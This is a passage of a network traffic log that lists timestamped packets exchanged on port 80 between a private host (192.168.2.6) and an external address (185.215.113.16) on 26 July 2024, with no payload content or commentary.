Jul 26, 2024 10:36:20.102217913 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.102252960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.102288008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.102318048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.102353096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.102602959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.102668047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.102852106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.102885962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.102919102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.102919102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.102938890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.102952957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.102982044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.102987051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.103002071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.103039980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.103241920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.103276014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.103308916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.103318930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.103337049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.103343964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.103359938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.103399038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.105042934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.105115891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.105220079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.105271101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.105282068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.105325937 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.105338097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.105390072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.105405092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.105426073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.105441093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.105473995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.105742931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.105804920 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.155370951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.155435085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.155467033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.155469894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.155523062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.155791998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.155823946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.155849934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.155858994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.155889034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.155911922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.155935049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.155973911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.156244040 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.156335115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.156443119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.156476974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.156538010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.156538010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.156783104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.156816959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.156848907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.156853914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.156866074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.156887054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.156905890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.156934023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.157421112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.157454014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.157484055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.157490015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.157506943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.157522917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.157538891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.157553911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.157579899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.157598019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.158288956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.158324003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.158354044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.158375025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.158375978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.158409119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.158442020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.158446074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.158468962 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.158478022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.158488035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.158524036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.159146070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.159181118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.159216881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.159218073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.159238100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.159250975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.159266949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.159287930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.159324884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.159324884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160027027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160059929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160095930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160098076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160113096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160131931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160149097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160164118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160187960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160201073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160209894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160253048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160866022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160904884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160937071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160940886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.160958052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.160974979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.161005974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.161025047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.161027908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.161082029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.161928892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.161964893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.161995888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.161998034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162015915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162033081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.162065983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.162087917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162098885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.162131071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162168980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162585974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.162619114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.162653923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162655115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.162672997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162688017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.162719965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162723064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.162739992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.162771940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163356066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163393974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163424969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163427114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163444042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163460016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163494110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163506031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163506031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163527966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163542032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163564920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163583994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163599014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163619995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163628101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.163646936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.163685083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.186985970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187052011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187068939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187123060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187128067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187177896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187436104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187469959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187504053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187505007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187534094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187557936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187804937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187836885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187866926 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187869072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187886953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187906027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187908888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187938929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.187958956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.187975883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.188003063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.188038111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.188648939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.188683033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.188720942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.188750982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.191446066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.191529036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.192441940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.192508936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.192539930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.192624092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.192625046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.192678928 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.192848921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.192882061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.192914963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.192933083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.192961931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.193021059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.193825006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.193857908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.193892002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.193893909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.193912029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.193928003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.193958044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.193979979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.194200039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.194251060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.194261074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.194283962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.194305897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.194319010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.194343090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.194351912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.194369078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.194387913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.194406986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.194420099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.194436073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.194469929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199085951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199140072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199156046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199172974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199204922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199206114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199239969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199245930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199266911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199271917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199286938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199309111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199331045 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199341059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199358940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199383020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.199439049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.199501038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.233999968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.234066010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.236804962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.236906052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.236948967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.236983061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.237000942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.237041950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.237248898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.237284899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.237307072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.237318039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.237344980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.237351894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.237366915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.237430096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.237906933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.237940073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.237974882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.237978935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.237997055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.238008976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.238039017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.238058090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.238538027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.238588095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.238606930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.238621950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.238651991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.238656998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.238671064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.238688946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.238712072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.238723993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.238754034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.238787889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.239403963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.239435911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.239455938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.239469051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.239479065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.239531994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262240887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262310028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262312889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262342930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262365103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262377977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262403965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262411118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262420893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262454987 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262459993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262495995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262500048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262542963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262547016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262581110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262599945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262613058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262624025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262650013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262659073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262682915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262693882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262716055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262729883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262752056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.262762070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.262794971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.263345957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.263379097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.263403893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.263411999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.263443947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.263458967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.263475895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.263509035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.263509989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.263510942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.263533115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.263542891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.263562918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.263576984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.263593912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.263618946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.264257908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.264292002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.264309883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.264322996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.264331102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.264354944 CEST	80	49713	185.215.113.16	192.168.2.6
